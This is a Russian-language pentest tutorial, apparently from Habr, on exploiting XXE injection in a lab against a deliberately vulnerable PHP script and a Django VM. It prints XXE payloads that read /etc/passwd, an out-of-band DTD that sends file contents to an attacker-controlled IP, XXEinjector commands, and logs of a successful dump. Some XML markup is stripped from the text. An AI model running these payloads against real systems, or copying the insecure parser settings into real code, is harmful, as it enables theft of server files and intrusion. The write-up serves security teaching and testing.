Эксплуатация уязвимостей eXternal Entity XML (XXE)

3571b24f30dc493f843af3c03241c6eb.gif

В ходе работ по тестированию на проникновение мы можем столкнуться с уязвимостью, которая позволяет нам выполнять атаки XML eXternal Entity (XXE) Injection. XXE Инъекция — это тип атаки на приложение, которое анализирует ввод XML. Хотя это относительно эзотерическая уязвимость по сравнению с другими векторными атаками веб-приложений, например, Cross-Site Request Forgery (CSRF), мы максимально используем эту уязвимость, когда она появляется, поскольку она может привести к извлечению конфиденциальных данных и даже к удаленному исполнению кода (RCE). В статье мы рассмотрим настройку уязвимого PHP-сервера, эксплуатируя уязвимость вручную, а затем перейдем к удобному инструменту под названием XXEInjector, чтобы автоматизировать этот процесс.

Мы будем использовать две площадки. Первая — это простой PHP-сервер, а вторая — это виртуальная машина, с уязвимым веб-приложение Django. Ссылки на приложения и уязвимые скрипты представлены в конце статьи.

Настройка


Прежде чем более подробно узнать об этой атаке, будет полезно разобраться в том, как веб-приложение взаимодействует с XML-документом, позволяя эксплуатировать эту уязвимость. Для этого используем виртуальную машину с PHP, которая использует XML-документ для проверки учетных данных.

В качестве виртуальной машины используем Ubuntu, PHP 5 и Apache в качестве веб-сервера (но не советуем использовать Apache на продкашн серверах). Вам также понадобится модуль php-xml, для работы парсинга XML.

Для тестирования используем следующий код:

loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); 
    $creds = simplexml_import_dom($dom); 
    $user = $creds->user; 
    $pass = $creds->pass; 
    echo "You have logged in as user $user";
?> 

Приведенный выше скрипт срабатывает, когда делается запрос к /xml_injectable.php.



    Ed
    mypass

Ожидается, что четыре вышеуказанные строки будут введены в вышеупомянутую конечную точку PHP, и они будут сохранены в XML-файле под названием xml.txt. Этот файл использует данные POST-запроса через CURL:
75808b6f7cfb433cb80d30130f52fe8c.png

Самым интересным аспектом анализа входных файлов XML является то, что они могут содержать код, который указывает на файл на самом сервере. Это пример внешней сущности. Мы рассмотрим полный диапазон внешних объектов, включая файлы, размещенные в Интернете через FTP и HTTP.

Давайте изменим файл xml.txt, чтобы он содержал следующий код:



xxe SYSTEM "file:///etc/passwd" >]>

    &xxe;
    mypass

Обратите внимание на элемент xxe. После отправки запроса с POST-данными, сервер-жертва ответит содержимым /etc/passwd:

dbd8627ec6344182b62d9686165a145e.png

Xml.txt указывает серверу искать внешний объект, файл: /etc/passwd, а затем ввести содержимое в поле «пользователь».

Удаленное исполнение кода


Если удача на нашей стороне, и модуль парсинга «PHP» загружен, мы можем использовать RCE. Давайте изменим содержание нашего файла:


]>

    &xxe;
    mypass

Ответ от сервера будет выглядеть следующим образом:
3e63ac1c65e2472eab9a763a22e29c0b.png

Тем не менее, такие случаи, где RCE возможен через XXE, довольно редки.

Автоматизация XXE Injection с помощью Burp и XXEinjector


Давайте протестируем автоматические средства для выявления таких уязвимостей. Используем виртуальную машину TurnKey Linux, на которой запущено веб-приложение Django, уязвимое для XXEi. Также мы используем один из популярных инструментов для поиска уязвимостей веб-приложений — Burp Suite.

Распакуйте и запустите файл конфигурации VM (.vmx). В загружаемый файл включен файл readme, который поможет вам настроить частную сеть на вашем компьютере.

У сервера VM есть уязвимая форма — /static/mailingList.html. Отправьте несколько рандомных значений и просканируйте запрос Burp сканером.

Burp должен оповестить нас о уязвимости XXE, вместе с некоторыми зависимыми XSS в качестве бонуса.
b3195827b3de4875ae69110f5edfbd23.png

Фактически, профессиональная версия Burp достаточно быстра, чтобы использовать Burp Collaborator, внешнюю службу, которую Burp может использовать, чтобы помочь в обнаружении уязвимостей или использовании целей.

По сути, запрос Collaborator, отправляемый Burp к уязвимому приложению, предназначен для вызова Burp Collaborator через разрешение DNS и веб-запросы, которые, в случае успеха, сообщат Burp о том, что целевой компьютер выполнил вредоносную полезную нагрузку. Большинство уязвимостей может быть обнаружено путем изучения или журналирования ответа, но иногда с помощью внешнего сервиса, такого как Burp Collaborator, вы можете перейти на следующий уровень. В этом случае Burp вытащил сам файл /etc/passwd.

На следующих изображениях показана работа Collaborator’a.
5f0219c486724406ba6e0b37ea33256e.png

c5e104e2bfc74930bd19d832c779dd7a.png

a7adafc73d474b7fb37f79309aed656f.png

Чтобы наиболее точно управлять процессом инъекции, воспользуемся XXEinjector. Нам потребуется незавершенный запрос. Мы сохраним этот код в файле request.txt.

fed83d7b096048aaa55a1e743ec44a42.png

Методология XXEinjector

XXEinjector отправляет пейлоад, который указывает удаленному серверу ответить с запрашиваемым файлом file.dtd. В этом же запросе от XXEinjector мы вызываем две другие сущности, которые могут быть выполнены только в том случае, если file.dtd успешно попадает на веб-сервер жертвы и интерпретируется правильно. Например, для того, чтобы это сработало на нашем PHP-сервере, нам нужно указать флаг XXEinjector, чтобы закодировать наш код в base64. Base64 использует ограниченный набор символов, который не приведет к сбою интерпретаторов в процессе выполнения эксплойта (например, кавычек), и ему нужен дополнительный этап декодирования для того, чтобы WAF/IDS/IPS не смог его заблокировать.

Запрос выглядит следующим образом:

POST /xml_injectable.php HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: text/html, application/xhtml+xml, application/xml; q=0.9,*/*; q=0.8
Accept-Language: en-US, en; q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 158
Host: 192.168.242.139
Content-Type: application/x-www-form-urlencoded
%remote;%int;%trick;]>
    blah
    mypass

Атакуемый сервер парсит запрос и подставляет «remote» для содержимого файла file.dtd (после обращения к нашей атакующей машине). Файл File.dtd выглядит следующим образом:


">

Обратите внимание, мы определяем новую сущность, «payl», которая представляет собой URL-адрес файла, который мы пытаемся извлечь. Затем мы определяем два недостающих объекта из предыдущего запроса: «int» и «trick». Обратите внимание, что «trick» — это объект, определенный в другом объекте — «int». Наконец, обратите внимание, что этот код не закодирован. Некоторые символы кодируются из-за встраивания одного объекта в другой, но сам запрос не кодируется в base64.

Теперь у нас есть все наши сущности. Обратите внимание, что в определении сущности «trick» мы заменяем содержимое «payl» содержимым /etc/passwd. Это означает, что все, что должен сделать сервер-жертва, это отправить запрос на сервер, с запущенным XXEinjector, передавая содержимое /etc/passwd в качестве параметра к этому URL-адресу. Приложению не нужно возвращать содержимое файла /etc/passwd в ответ на уязвимую веб-форму / страницу приложения. Он просто отправляет запрос с содержимым в этом параметре. XXEinjector анализирует параметр и сохраняет его в файле. Готово!

Практический пример

Вернемся к нашей первой площадке — простому PHP-серверу, работающему со скриптом xml_injectable.php. Давайте модифицируем PHP-скрипт, комментируя нерелевантный код.

loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); 
    // $creds = simplexml_import_dom($dom); 
    // $user = $creds->user; 
    // $pass = $creds->pass; 
    // echo "You have logged in as user $user";
?> 

Таким образом, скрипт загружает XML-форматированный запрос в объект PHP. Мы анализируем XML-документ в PHP-объекте. Давайте выполним запрос образца XXEinjector.

> sudo ruby XXEinjector.rb --host=192.168.240.1 --path=/etc/passwd 
--file=phprequest.txt --proxy=192.168.240.1:8080 --oob=http --verbose

POST /xml_injectable.php HTTP/1.1
Host: 192.168.242.139
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: text/html, application/xhtml+xml, application/xml; q=0.9,*/*; q=0.8
Accept-Language: en-US, en; q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
XXEINJECT
blah
mypass

После запуска этого запроса мы получаем следующий результат от XXEinjector:

Enumeration locked.
Sending request with malicious XML:
192.168.242.139/xml_injectable.php 
{«User-Agent»=>«Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:49.0) Gecko/20100101 Firefox/49.0», «Accept»=>«text/html, application/xhtml+xml, application/xml; q=0.9,*/*; q=0.8», «Accept-Language»=>«en-US, en; q=0.5», «Accept-Encoding»=>«gzip, deflate», «Connection»=>«close», «Upgrade-Insecure-Requests»=>»1», «Content-Length»=>»158»}

»192.168.240.1:80/file.dtd»>%remote;%int;%trick;]>
    blah
    mypass

Got request for XML:
GET /file.dtd HTTP/1.0

Responding with XML for: /etc/passwd
XML payload sent:

'http://192.168.240.1:80/? p=%payl;'>»> 

FTP/HTTP did not get response. XML parser cannot parse provided file or the application is not responsive. Wait or Next?

Из-за использования нескольких флагов мы можем точно видеть, что делает XXEinjector. Мы видим, что XXEinjector заставил сервер-жертву ответить файлом /file.dtd.

После изучения нашего журнала ошибок от Apache, мы заметили, что наш метод loadXML не получил достаточного количества данных, чтобы заставить его выдать файл.

[Sun Nov 06 09:10:46.145222 2016] [: error] [pid 1222] [client 192.168.242.1:64701] PHP Notice:   DOMDocument: loadXML (): PEReference: %int; not found in Entity, line: 1 in /var/www/html/xml_injectable.php on line 16

[Sun Nov 06 09:10:46.145257 2016] [: error] [pid 1222] [client 192.168.242.1:64701] PHP Notice:   DOMDocument: loadXML (): PEReference: %trick; not found in Entity, line: 1 in /var/www/html/xml_injectable.php on line 16

После некоторого исследования семантики XML и loadXML, мы пришли к осознанию того, что существует проблема с кодировкой — с тем, как специфицируется файл (/etc/passwd). К счастью, XXEinjector имеет флаг для кодирования этой строки. Мы просто добавляем флаг --phpfilter к нашему запросу.

> sudo ruby XXEinjector.rb --host=192.168.240.1 --path=/etc/passwd --file=phprequest.txt --proxy=192.168.240.1:8080 --oob=http --verbose --phpfilter

Результат выполения:
XXEinjector by Jakub PałaczyńskiDTD injected.
Enumeration locked.
Sending request with malicious XML:
192.168.242.139/xml_injectable.php 
{«User-Agent»=>«Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:49.0) Gecko/20100101 Firefox/49.0», «Accept»=>«text/html, application/xhtml+xml, application/xml; q=0.9,*/*; q=0.8», «Accept-Language»=>«en-US, en; q=0.5», «Accept-Encoding»=>«gzip, deflate», «Connection»=>«close», «Upgrade-Insecure-Requests»=>»1», «Content-Length»=>»158»}

%remote;%int;%trick;]>

    blah
    mypass

Got request for XML:
GET /file.dtd HTTP/1.0
Responding with XML for: /etc/passwd
XML payload sent:

'http://192.168.240.1:80/? p=%payl;'>»>

Response with file/directory content received:
GET /? p=cm9vdDp4OjA6M (rest of base64 encoded string) HTTP/1.0

Enumeration unlocked.
Successfully logged file: /etc/passwd
Nothing else to do. Exiting.

После проверки в нашем каталоге XXEinjector Logs мы увидим заветные дампы.

Ссылки


Vulnerable Django VM (пароль: mcfatty)
drive.google.com/file/d/0B0lXZ1OX4ZS-aUdoRUVQSDg3eG8/view
XXEinjector
github.com/enjoiz/XXEinjector
Vulnerable PHP Script
colesec.inventedtheinternet.com/attacking-xml-with-xml-external-entity-injection-xxe

Комментарии (0)

© Habrahabr.ru